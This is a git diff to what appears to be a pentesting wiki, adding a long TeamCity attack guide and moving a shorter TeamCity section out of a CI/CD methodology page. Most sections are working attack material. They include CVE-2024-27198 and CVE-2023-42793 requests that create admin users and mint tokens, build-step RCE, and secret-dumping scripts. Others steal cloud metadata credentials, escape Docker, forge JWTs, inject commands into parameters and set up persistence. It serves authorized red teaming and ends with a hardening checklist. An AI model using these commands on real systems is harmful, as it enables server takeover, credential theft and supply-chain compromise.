diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 71ea2e437..6d869aa4e 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -28,6 +28,7 @@ - [CircleCI Security](pentesting-ci-cd/circleci-security.md) - [TravisCI Security](pentesting-ci-cd/travisci-security/README.md) - [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md) +- [TeamCity Security](pentesting-ci-cd/teamcity-security/README.md) - [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md) - [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md) - [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md) diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 0ce63cc5f..5780de969 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -106,118 +106,6 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke - If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact. - Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches. -## TeamCity: public CI/CD to cloud/internal pivoting - -A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is: - -1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through: - -```http -GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1 -Host: :8111 -Accept: application/json -``` - -If the response returns server metadata without a session, the instance is likely exploitable. - -2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse: - -```http -POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1 -Host: :8111 -Accept: application/json -Content-Type: application/json - -{"name":"RedTeamToken"} -``` - -3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters: - -```http -GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1 -Authorization: Bearer -Accept: application/json -``` - -4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services. - -### TeamCity build agents on EC2: steal IMDS credentials - -If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**: - -```bash -IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE" -``` - -With the temporary credentials, validate **real impact** instead of stopping at discovery: - -```bash -aws s3 ls -aws ssm describe-parameters -aws ssm get-parameter --name /prod/jwt-secret --with-decryption -aws ec2 describe-instances -aws rds describe-db-instances -``` - -Interesting loot after a CI/CD compromise: - -- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys -- **SSM Parameter Store** values with production secrets and internal hostnames -- **EC2 user-data** disclosing bootstrap credentials or deployment scripts -- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot - -> [!TIP] -> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section. - -### Pivot into private services through the build agent - -Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services: - -```bash -for path in /health /api/v1/orders /admin /metrics /debug /internal; do - curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}" -done -``` - -This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed: - -```python -import jwt, time -secret = 'hs256-internal-svc-do-not-share-2024' -payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400} -print(jwt.encode(payload, secret, algorithm='HS256')) -``` - -Abuse paths after JWT forgery: - -- Access internal endpoints that only check for a valid signature or `Authorization` header -- Escalate to admin-only routes when role/claim validation is weak -- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries - -A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely. - -### TeamCity-specific dangerous debug surface - -If `internal.properties` enables: - -```properties -rest.debug.database.allow.query.prefixes=select -``` - -an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes: - -```http -GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1 -Authorization: Bearer -``` - -### Practical assessment takeaways - -- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise. -- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**. -- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features. - ## More relevant info ### Tools & CIS Benchmark @@ -239,9 +127,6 @@ Check this interesting article about the top 10 CI/CD risks according to Cider: ## References -- [ProjectDiscovery: Red-Teaming Cloud Infrastructure with Neo](https://projectdiscovery.io/blog/red-teaming-cloud-infrastructure-with-neo) -- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/) -- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html) - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) - [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/) - [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469) diff --git a/src/pentesting-ci-cd/teamcity-security/README.md b/src/pentesting-ci-cd/teamcity-security/README.md new file mode 100644 index 000000000..4ec9b6639 --- /dev/null +++ b/src/pentesting-ci-cd/teamcity-security/README.md @@ -0,0 +1,740 @@ +# TeamCity Security + +{{#include ../../banners/hacktricks-training.md}} + +## Basic Information + +[TeamCity](https://www.jetbrains.com/teamcity/) is JetBrains' CI/CD server. It can run as **TeamCity Cloud** or as **TeamCity On-Premises**. In real environments the on-premises product is the most interesting target because it is commonly connected to private repositories, deployment credentials, internal networks, and cloud build agents. + +A TeamCity installation is usually composed of: + +- **TeamCity server**: the Java web application and scheduler. It stores users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, and integrations. The default HTTP port is **8111**. +- **Projects and subprojects**: containers for build configurations, templates, parameters, VCS roots, connections, and permissions. +- **Build configurations**: jobs that define VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, and artifact dependencies. +- **Pipelines / Kotlin DSL / XML settings**: build configuration can be managed in the UI or stored in VCS, commonly in a `.teamcity/` directory using Kotlin DSL. +- **Build agents**: worker machines that poll the server, checkout code, receive build settings and secrets, run build steps, and publish logs/artifacts back to the server. An agent normally runs one build at a time and can be physical, VM, container, or cloud-launched. +- **Agent pools**: a way to restrict which projects can run on which agents. This is critical when public/untrusted builds and production deployment builds coexist. +- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, and other repository integrations. These often hold PATs, refreshable tokens, SSH keys, or OAuth-backed tokens. +- **Build parameters**: values available to configurations and builds. `env.*` parameters become environment variables, `system.*` parameters become system properties, and password parameters are masked but still usable by build code. + +> [!WARNING] +> TeamCity itself documents that users who can change code executed by builds can do what the build-agent OS user can do, access resources on the agent, retrieve settings of configurations where their builds run, and potentially affect other projects sharing the same agent. + +## Interesting Ports, Paths & Files + +```bash +# Common TeamCity web ports +8111/tcp # Default HTTP TeamCity server +80/tcp # Often reverse-proxied TeamCity +443/tcp # HTTPS reverse proxy or configured HTTPS +``` + +Interesting URLs: + +```text +/login.html +/app/rest/server +/app/rest/swagger.json +/guestAuth/app/rest/server +/guestAuth/repository/download//:id/ +/admin/admin.html +/admin/diagnostic.jsp +/admin/agents.html +/admin/plugins.html +``` + +Interesting local paths after server compromise: + +```text +# Linux defaults seen in common installs +/opt/TeamCity/logs/ +/opt/TeamCity/webapps/ROOT/plugins/ +/home/teamcity/.BuildServer/config/ +/home/teamcity/.BuildServer/plugins/ +/home/teamcity/.BuildServer/system/artifacts/ +/home/teamcity/.BuildServer/system/buildserver.data + +# Windows defaults seen in common installs +C:\TeamCity\logs\ +C:\TeamCity\webapps\ROOT\plugins\ +C:\ProgramData\JetBrains\TeamCity\config\ +C:\ProgramData\JetBrains\TeamCity\plugins\ +C:\ProgramData\JetBrains\TeamCity\system\artifacts\ +C:\ProgramData\JetBrains\TeamCity\system\buildserver.data +``` + +Interesting local paths after agent compromise: + +```text +/conf/buildAgent.properties +/logs/ +/work/ +/temp/ +/system/ +~/.git-credentials +~/.ssh/ +~/.docker/config.json +~/.npmrc +~/.m2/settings.xml +~/.aws/ +~/.config/gcloud/ +``` + +## TeamCity Permissions To Care About + +The exact permission model can be customized, but the important default roles are: + +- **System Administrator**: full server control. Assume server OS compromise is possible because admins can change server settings, upload plugins, and access diagnostics. +- **Project Administrator**: controls a project and can usually create/edit build configurations, parameters, VCS roots, features, triggers, and agent requirements inside that project. +- **Project Developer**: can usually view configuration settings, run builds, and interact with build results. This can still be sensitive because configuration settings and runtime data often disclose secrets. +- **Project Viewer / Guest**: read-only access may still expose build logs, artifacts, project names, branch names, internal hostnames, and dependency paths. + +> [!TIP] +> During a pentest, do not stop at "low-privileged TeamCity user". Check whether that user can run custom builds, select branches, customize parameters, view settings, view runtime parameters, download artifacts, or trigger deployment configurations. + +## Initial Enumeration + +### Fingerprint Exposed TeamCity + +```bash +export TC="http://teamcity.example.com:8111" + +curl -i "$TC/login.html" +curl -i "$TC/app/rest/server" +curl -i "$TC/guestAuth/app/rest/server" +curl -s "$TC/app/rest/swagger.json" | head +``` + +Useful signs: + +- `TeamCity-Node-Id` HTTP header. +- Login page branding. +- `/app/rest/server` returns `401` when authentication is required. +- `/guestAuth/app/rest/server` works if guest access is enabled. + +### REST API Enumeration With A Token + +TeamCity REST API commonly uses `Authorization: Bearer `. + +```bash +export TC="https://teamcity.example.com" +export TCTOKEN="TC..." + +alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"' + +tcurl "$TC/app/rest/server" +tcurl "$TC/app/rest/users/current" +tcurl "$TC/app/rest/users/current/roles" +tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)" +tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)" +tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))" +tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))" +tcurl "$TC/app/rest/agentPools" +tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)" +``` + +For a build configuration: + +```bash +export BT="id:Project_Build" + +tcurl "$TC/app/rest/buildTypes/$BT" +tcurl "$TC/app/rest/buildTypes/$BT/parameters" +tcurl "$TC/app/rest/buildTypes/$BT/steps" +tcurl "$TC/app/rest/buildTypes/$BT/features" +tcurl "$TC/app/rest/buildTypes/$BT/triggers" +tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements" +tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents" +``` + +### Guest Access Abuse + +If guest login is enabled, TeamCity supports `/guestAuth/` URLs. By default, guest users have Project Viewer role for all projects unless changed. + +```bash +curl -sk "$TC/guestAuth/app/rest/projects" +curl -sk "$TC/guestAuth/app/rest/buildTypes" +curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50" +``` + +Look for: + +- Build logs with secrets accidentally printed. +- Artifacts containing `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, or internal URLs. +- Project/build names that reveal cloud account names, production systems, regions, or internal service names. +- Commit metadata that identifies privileged developers or service users. + +Example artifact download format: + +```bash +curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip" +``` + +## Attacks + +### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199 + +TeamCity On-Premises versions **through 2023.11.3** were affected by two authentication bypasses fixed in **2023.11.4**. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers. + +Fingerprint the bypass with a harmless authenticated endpoint: + +```bash +curl -ik "$TC/hax?jsp=/app/rest/server;.jsp" +``` + +If server metadata is returned without authentication, the instance is vulnerable. A common takeover path is to create an admin user or mint a token for an existing admin user: + +```bash +curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \ + -X POST \ + -H "Content-Type: application/json" \ + --data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}' +``` + +```bash +curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST +``` + +After this, continue as an authenticated TeamCity administrator: enumerate projects, collect secrets, execute builds on agents, inspect artifacts, and check cloud access from agents. + +### Unauthenticated Takeover: CVE-2023-42793 + +TeamCity On-Premises versions before **2023.05.4** were affected by CVE-2023-42793. The practical impact was unauthenticated administrator-level access and RCE through TeamCity APIs. The widely abused path involved token creation through a route ending in `/RPC2`. + +```bash +curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2" +``` + +If you are assessing incident impact, check for suspicious token creation, admin account creation, plugin upload/delete events, and process execution around the exposure window. + +### Admin RCE By Uploading A Plugin + +TeamCity server plugins are ZIP packages that extend server functionality. A System Administrator can upload a plugin from the UI under **Administration -> Plugins**, load it, and execute server-side Java code. + +Abuse cases: + +- Upload a malicious plugin for direct RCE on the **TeamCity server**, not just an agent. +- Use plugin load/delete as a short-lived execution path. +- Establish persistence through a plugin that looks like an internal integration. + +Evidence to inspect: + +```text +teamcity-activities.log +teamcity-server.log +/plugins/ +/config/disabled-plugins.xml +/system/caches/plugins.unpacked/ +/webapps/ROOT/plugins/ +``` + +### RCE By Creating Or Modifying Build Steps + +If you can create or edit a build configuration, a TeamCity agent is your command execution target. The **Command Line / Script** runner is the most direct option. + +Add a command line step through REST: + +```bash +curl -sk "$TC/app/rest/buildTypes/$BT/steps" \ + -X POST \ + -H "Authorization: Bearer $TCTOKEN" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + --data '{ + "name": "diagnostics", + "type": "simpleRunner", + "properties": { + "property": [ + {"name": "script.content", "value": "id; uname -a; env | sort"} + ] + } + }' +``` + +Start the build: + +```bash +curl -sk "$TC/app/rest/buildQueue" \ + -X POST \ + -H "Authorization: Bearer $TCTOKEN" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + --data '{"buildType":{"id":"Project_Build"}}' +``` + +Useful first commands on an agent: + +```bash +id +hostname +pwd +env | sort +mount +ip addr || ifconfig +ip route || route print +find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json" +``` + +Windows agents: + +```powershell +whoami /all +hostname +Get-ChildItem Env: | Sort-Object Name +ipconfig /all +route print +Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue +``` + +### Target A More Interesting Agent + +Build configurations can have agent requirements, and custom builds may allow selecting a specific agent. This matters when one agent has production network reachability, Docker access, mobile signing keys, cloud roles, or deployment tooling. + +Enumerate compatible agents: + +```bash +tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))" +``` + +Queue a build on a specific agent if your permissions allow it: + +```bash +curl -sk "$TC/app/rest/buildQueue" \ + -X POST \ + -H "Authorization: Bearer $TCTOKEN" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + --data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}' +``` + +Or add an agent requirement to force a valuable agent class: + +```bash +curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \ + -X POST \ + -H "Authorization: Bearer $TCTOKEN" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + --data '{ + "type":"equals", + "properties":{"property":[ + {"name":"property-name","value":"teamcity.agent.name"}, + {"name":"property-value","value":"prod-deploy-agent-01"} + ]} + }' +``` + +### Dump Build Parameters & Password Parameters + +Parameters are inherited from projects and templates, so enumerate both project and build configuration scopes: + +```bash +tcurl "$TC/app/rest/projects/id:Project/parameters" +tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters" +``` + +Interesting names: + +```text +env.AWS_ACCESS_KEY_ID +env.AWS_SECRET_ACCESS_KEY +env.GITHUB_TOKEN +env.NPM_TOKEN +env.DOCKER_AUTH_CONFIG +system.deploy.password +system.oauth.clientSecret +vcsroot..password +teamcity.configuration.properties.file +``` + +Important caveats: + +- Password parameters are masked in UI/logs but any code that legitimately receives them can exfiltrate or transform them. +- Project administrators can often retrieve raw parameter values through settings access. +- TeamCity security notes warn that users who can modify build code can retrieve password values used by that build. +- If versioned settings are stored in VCS, users with access to the settings repo may recover values from scrambled/encrypted settings depending on the server encryption configuration and key exposure. + +Build-step exfil pattern: + +```bash +python3 - <<'PY' +import base64, os, json +interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])} +print(base64.b64encode(json.dumps(interesting).encode()).decode()) +PY +``` + +### Poison Versioned Settings / Kotlin DSL + +If versioned settings are enabled and you can write to the branch/repository TeamCity trusts for `.teamcity/`, you can modify the pipeline definition itself. + +Typical targets: + +- Add a new `script` step to a build configuration. +- Change `agentRequirements` to run on a more privileged agent. +- Add artifact rules to publish sensitive files. +- Add snapshot/artifact dependencies to pull data from another build. +- Add VCS triggers for persistence. +- Change VCS roots or checkout rules. + +Minimal Kotlin DSL malicious step: + +```kotlin +import jetbrains.buildServer.configs.kotlin.* +import jetbrains.buildServer.configs.kotlin.buildSteps.script + +object Build : BuildType({ + name = "Build" + steps { + script { + name = "diagnostics" + scriptContent = "id; env | base64" + } + } +}) +``` + +> [!CAUTION] +> This is one of the highest-impact TeamCity misconfigurations: storing build settings in the same repository as application source means anyone who can alter that source branch may be able to alter the CI/CD control plane. + +### Pull Request / Untrusted Build Abuse + +TeamCity can build pull requests from GitHub, GitLab, Bitbucket, Azure DevOps, and JetBrains Space. If a public repository is configured to build pull requests from **Everybody**, an external attacker may get code execution on a TeamCity agent by opening a PR. + +Check for: + +- Pull Requests build feature with permissive author filters. +- VCS triggers matching pull request branches such as `refs/pull/*`. +- Missing or disabled **Untrusted Builds** review. +- PR builds running on the same pools as trusted/prod builds. +- Password parameters or deployment credentials available to PR builds. +- Versioned settings loaded from PR branches. + +Abuse primitives from untrusted code: + +```bash +env | sort +echo "##teamcity[publishArtifacts '$PWD => workspace.zip']" +echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']" +``` + +Also review build scripts that interpolate PR-controlled values: + +```text +%teamcity.pullRequest.title% +%teamcity.pullRequest.source.branch% +%teamcity.pullRequest.target.branch% +%teamcity.build.branch% +``` + +If those values are inserted into shell, PowerShell, SQL, Docker tags, package names, or deployment arguments without quoting/validation, test command injection and logic manipulation. + +### Run Custom Build Parameter Injection + +Users who cannot edit a build configuration may still be able to run custom builds with modified branch, agent, or parameter values. + +```bash +curl -sk "$TC/app/rest/buildQueue" \ + -X POST \ + -H "Authorization: Bearer $TCTOKEN" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json" \ + --data '{ + "buildType":{"id":"Project_Build"}, + "branchName":"refs/heads/attacker-controlled-branch", + "properties":{"property":[ + {"name":"env.DEPLOY_ENV","value":"prod; id #"}, + {"name":"system.release.version","value":"1.2.3$(id)"} + ]} + }' +``` + +Look for scripts like: + +```bash +deploy --env %env.DEPLOY_ENV% +docker build -t registry/app:%system.release.version% . +git checkout %teamcity.build.branch% +``` + +### Service Message Abuse + +TeamCity parses specially formatted output from build steps. If attacker-controlled code runs in a build, it can influence later steps and the server's understanding of the build. + +Useful messages: + +```bash +# Publish arbitrary files as artifacts +echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']" + +# Modify parameters for following steps +echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']" + +# Poison the build number displayed/published downstream +echo "##teamcity[buildNumber '9999-backdoored']" + +# Hide noisy output in collapsed blocks +echo "##teamcity[blockOpened name='integration tests']" +echo "##teamcity[blockClosed name='integration tests']" +``` + +This becomes more dangerous when downstream release jobs trust build status, build number, tags, artifact names, or output parameters from an upstream job. + +### Artifact & Dependency Poisoning + +TeamCity build chains often move artifacts between builds. If you can influence an upstream build that publishes artifacts consumed by a privileged downstream build, try to poison: + +- JAR/WAR/NuGet/npm/PyPI packages. +- Docker build contexts. +- Terraform plan files. +- Helm charts and Kubernetes manifests. +- SBOM/provenance files. +- Test fixtures or generated code consumed by later steps. + +Publish a controlled artifact from a build: + +```bash +mkdir -p out +cp payload.jar out/app.jar +echo "##teamcity[publishArtifacts 'out/** => release.zip']" +``` + +Then inspect artifact dependencies: + +```bash +tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies" +tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies" +``` + +### Agent Cloud Pivoting + +If the agent runs in AWS, Azure, GCP, Kubernetes, or an internal VM network, the build is a pivot point. + +AWS IMDS: + +```bash +TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ +ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" +``` + +Fallback if IMDSv1 is allowed: + +```bash +ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" +``` + +Azure IMDS: + +```bash +curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01" +curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` + +GCP metadata: + +```bash +curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" +SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/") +curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token" +``` + +Kubernetes: + +```bash +ls -la /var/run/secrets/kubernetes.io/serviceaccount/ +cat /var/run/secrets/kubernetes.io/serviceaccount/token +cat /var/run/secrets/kubernetes.io/serviceaccount/namespace +``` + +Docker escape checks: + +```bash +ls -la /var/run/docker.sock +docker ps +docker run --rm -it -v /:/host alpine chroot /host sh +``` + +### Pivot Into Internal Services + +Build agents often have reachability to package registries, artifact stores, deployment APIs, databases, and internal admin panels. + +```bash +for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do + echo "### $h" + curl -sk --connect-timeout 2 "https://$h/" | head +done +``` + +After stealing a shared JWT/HMAC secret from TeamCity parameters, cloud secret stores, artifacts, or repo files, forge tokens for weak internal services: + +```python +import jwt, time +secret = "leaked-hs256-secret" +payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600} +print(jwt.encode(payload, secret, algorithm="HS256")) +``` + +### VCS Root & Repository Credential Abuse + +VCS roots and connections are often more valuable than TeamCity itself. + +Look for: + +- HTTP(S) VCS roots using username/password or PAT. +- SSH private keys uploaded to TeamCity. +- GitHub App / OAuth / refreshable token connections. +- Commit Status Publisher tokens. +- Pull Request feature tokens. +- Build steps that write to repositories, tags, releases, packages, or workflow files. + +REST enumeration: + +```bash +tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))" +tcurl "$TC/app/rest/projects/id:Project/features" +``` + +Post-compromise impact: + +- Push malicious commits/tags to repositories. +- Move release tags. +- Publish malicious package versions. +- Read private repos the tester did not originally have access to. +- Add CI/CD config for another platform such as GitHub Actions. +- Open/merge PRs using the service identity if it has write access. + +### Debug & Diagnostics Endpoints + +Some dangerous debug functionality is guarded by admin permissions and internal properties. If enabled, it can expose the TeamCity database or process execution. + +Example database query setting: + +```properties +rest.debug.database.allow.query.prefixes=select +``` + +If this is enabled, an admin token may query internal data: + +```bash +curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \ + -H "Authorization: Bearer $TCTOKEN" +``` + +Also inspect whether `/app/rest/debug/processes` is reachable to your role. Treat any enabled debug endpoint as a potential direct server compromise path. + +### Agent-Server Trust & Rogue Agent Angles + +Agents poll the server and receive build settings, repository sources, access credentials/keys, build logs, and artifact data. If agent-to-server communication is plain HTTP or an attacker controls the network path, secrets and source code may be exposed. + +Check: + +```bash +grep -i '^serverUrl=' /conf/buildAgent.properties +grep -i 'authorizationToken\|name=' /conf/buildAgent.properties +``` + +Abuse paths: + +- Compromise one agent and inspect work directories for other projects if agents are reused. +- Modify checked-out source or cached dependencies for later builds if clean checkout is not enforced. +- Steal the agent authorization token/configuration. +- Register a rogue agent if you have permissions to authorize project agents or if admins automatically authorize new agents. +- Impersonate an existing agent from a compromised host. + +### Logs, Artifacts & Data Directory As Secrets + +TeamCity security notes explicitly warn that read access to the TeamCity Data Directory, server logs, or build artifacts can expose secrets or lead to administrator escalation. + +One specific escalation path is **Super User Access**: TeamCity can allow login as a system administrator with a token written to `teamcity-server.log`. If logs are shipped to a weakly protected log platform or readable by non-admin OS users, search for super-user tokens. + +Hunt: + +```bash +grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null +grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null +``` + +Build logs often contain: + +- Expanded command lines. +- Failed deployment commands with credentials in arguments. +- Docker login output. +- npm/pip/maven publishing errors. +- Cloud CLI debug output. +- Internal service URLs. + +### Persistence Ideas + +Useful persistence techniques during an authorized red team assessment: + +- Create an access token with a plausible name under a service/admin user. +- Add a low-noise build trigger to a rarely reviewed configuration. +- Add a project parameter used by an existing deployment step. +- Add a hidden or disabled build step that can be re-enabled later. +- Add a new VCS root or connection under a legitimate project. +- Add a plugin that resembles an internal integration. +- Add a new agent pool / cloud profile / agent requirement that routes builds to attacker-controlled infrastructure. +- Modify Kotlin DSL in a settings repository. + +Things defenders should review after a TeamCity compromise: + +```text +teamcity-activities.log +teamcity-server.log +teamcity-javaLogging*.log +User access tokens +Recently created users/groups/roles +Plugin upload/load/delete events +Build configuration diffs +Versioned settings commits +VCS root credential changes +Agent authorization changes +Build triggers and schedules +Suspicious artifact publications +``` + +## Hardening Checklist + +- Keep TeamCity On-Premises fully updated; exposed servers with old auth bypasses are high-value targets. +- Do not expose TeamCity directly to the internet unless strong access controls, SSO/MFA, network filtering, and rapid patching are in place. +- Disable Guest Login on production servers. +- Disable Super User Access with `teamcity.superUser.disable=true` if server logs are exported or broadly readable. +- Use least-privilege groups and custom roles instead of broad Project Administrator grants. +- Use short-lived scoped tokens for REST automation. +- Keep build settings in a separate protected repository if using versioned settings. +- Treat PR builds from forks as hostile; use Untrusted Builds, manual approval, and isolated disposable agents. +- Separate public/untrusted builds from deployment builds with dedicated agent pools. +- Use disposable agents and enforce clean checkout for sensitive builds. +- Avoid long-lived cloud/static credentials in parameters; prefer cloud OIDC/workload identity where possible. +- Require IMDSv2 on AWS agents and restrict metadata access from containers. +- Run agents as low-privileged OS users and avoid mounting Docker socket unless strictly required. +- Use HTTPS for agent-to-server traffic. +- Restrict plugin installation to trusted admins and review plugin changes. +- Keep server logs and TeamCity Data Directory readable only by the TeamCity server OS account and admins. +- Use a custom encryption key for secure values instead of relying on the default scrambling mechanism. +- Retain build history/logs for investigation and restrict permissions to delete builds. + +## References + +- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html) +- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html) +- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html) +- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html) +- [JetBrains - Typed / Password 